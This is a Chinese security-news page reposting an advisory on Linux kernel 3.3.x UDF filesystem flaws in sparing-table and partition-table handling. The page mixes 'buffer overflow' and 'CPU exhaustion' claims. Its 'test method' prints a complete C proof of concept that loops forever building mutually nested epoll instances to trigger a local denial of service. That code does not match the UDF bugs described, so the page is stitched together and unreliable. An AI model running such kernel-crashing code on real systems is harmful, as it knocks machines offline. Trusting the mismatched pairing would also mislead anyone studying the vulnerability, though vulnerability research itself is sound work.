Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Linux Kernel UDF文件系统本地缓冲区溢出漏洞

发布日期:2012-07-04
更新日期:2012-07-05受影响系统:
Linux kernel 3.3.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54279Linux Kernel是Linux操作系统的内核。Linux Kernel在实现上存在两个错误,可被利用造成较高的CPU消耗,导致本地拒绝服务。1)在加载备用表时存在错误,当加载特制文件系统时可造成崩溃。2)在处理分区表时,"udf_load_logicalvol()"函数(fs/udf/super.c)中存在错误,当加载特制文件系统时可造成崩溃。<*来源:Timo Warns (<warns@pre-sense.de>)
        Jan Kara
 
  链接:http://secunia.com/advisories/49742/
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Yurij M. Plotnikov ()提供了如下测试方法:
#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d ", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d) ", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d) ", epfd2, errno);        sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d) ", sock, errno);        addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d) ", rc, errno);        rc = listen(sock, 1);
        printf("listen() -> %d(%d) ", rc, errno);        event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d) ", rc, errno);        event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d) ", rc, errno);        event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d) ", rc, errno);        rc = close(epfd1);
        printf("close(epfd1) -> %d(%d) ", rc, errno);        rc = close(epfd2);
        printf("close(epfd2) -> %d(%d) ", rc, errno);        rc = close(sock);
        printf("close(sock) -> %d(%d) ", rc, errno);        sleep(1);
        printf(" ");
    }
    return 0;
}建议:
--------------------------------------------------------------------------------
厂商补丁:Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.kernel.org/WellinTech KingHistorian内存破坏漏洞WellinTech KingView内存破坏和目录遍历漏洞相关资讯      Linux漏洞 
  • 敲击28次退格键之后:Linux漏洞可  (12/18/2015 11:22:28)
  • Linux出现重大漏洞 GHOST ?  (01/30/2015 18:35:07)
  • Linux 2.6.31本地代码执行漏洞(  (07/07/2014 07:51:17)
  • Red Hat Linux 修补“libuser”库  (07/26/2015 06:39:34)
  • 红帽反驳:“Grinch(鬼精灵)”算  (12/30/2014 07:38:23)
  • Linux gcc++漏洞:普通用户获得  (08/16/2013 11:57:41)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款